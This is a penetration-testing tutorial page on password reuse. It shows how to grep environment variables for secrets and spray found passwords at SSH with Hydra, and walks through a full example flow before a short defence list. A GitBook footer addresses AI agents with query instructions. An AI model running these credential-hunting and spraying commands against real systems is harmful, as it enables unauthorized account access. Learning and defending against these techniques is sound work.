> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/password-reuse.md).

# Password Reuse

## Password Reuse & Environment Variables

### What Are Environment Variables?

Environment variables are key-value pairs stored in a process's memory that applications use for configuration. They're set at startup and readable by anyone with access to that process or shell.

Think of them like a whiteboard in a room — anyone in the room can read what's written on it.

```bash
# View all environment variables
env
printenv

# Search for sensitive ones
env | grep -i pass
env | grep -i secret
env | grep -i key
env | grep -i token
env | grep -i db
```

### Why Applications Store Passwords in Env Vars

It's considered better practice than hardcoding passwords in source code. Docker containers commonly use env vars to configure services at startup:

```yaml
# docker-compose.yml example
services:
  pgadmin:
    image: pgadmin4
    environment:
      PGADMIN_DEFAULT_EMAIL: admin@corp.htb
      PGADMIN_DEFAULT_PASSWORD: SuperSecret123    # ← visible to anyone in the container
```

### Common Sensitive Variables to Look For

| Variable                   | What it contains        |
| -------------------------- | ----------------------- |
| `PGADMIN_DEFAULT_PASSWORD` | pgAdmin web UI password |
| `MYSQL_ROOT_PASSWORD`      | MySQL root password     |
| `POSTGRES_PASSWORD`        | PostgreSQL password     |
| `DJANGO_SECRET_KEY`        | Django app secret       |
| `AWS_SECRET_ACCESS_KEY`    | AWS credentials         |
| `API_KEY` / `API_SECRET`   | API tokens              |
| `DB_PASS` / `DB_PASSWORD`  | Database passwords      |

### What is Password Reuse?

Password reuse is when a person uses the same password across multiple accounts or systems. It's extremely common — admins set a password for a service, then use the same one for their personal login.

```
Found: PGADMIN_DEFAULT_PASSWORD=Summer2024!
Try:   SSH login with password Summer2024!
Try:   SMB login with password Summer2024!
Try:   WinRM login with password Summer2024!
```

### Brute Forcing SSH Users with Hydra

When you have a password but don't know the username, Hydra can spray it across a list of common usernames.

```bash
# Install
sudo apt install hydra

# Basic usage — one password, many users
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
      -p 'Summer2024!' \
      ssh://10.x.x.x

# Many passwords, one user
hydra -l svc \
      -P /usr/share/wordlists/rockyou.txt \
      ssh://10.x.x.x

# Limit rate to avoid lockout
hydra -L users.txt -p 'Summer2024!' \
      -t 4 -W 3 \
      ssh://10.x.x.x
```

### Example Full Flow

```bash
# Step 1 — Land on box, check env vars
env | grep -i pass
# PGADMIN_DEFAULT_PASSWORD=Summer2024!

# Step 2 — Build a username list
cat > users.txt << 'USERS'
admin
svc
service
postgres
developer
web
app
USERS

# Step 3 — Spray the found password
hydra -L users.txt -p 'Summer2024!' ssh://10.x.x.x -t 4
# [22][ssh] host: 10.x.x.x   login: svc   password: Summer2024!

# Step 4 — Login
ssh svc@10.x.x.x
```

### Defence

* Never store passwords in environment variables visible to unprivileged processes
* Use secrets managers (HashiCorp Vault, AWS Secrets Manager) instead
* Enforce a unique password policy — no reuse across systems
* Audit container configurations for hardcoded credentials


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/password-reuse.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.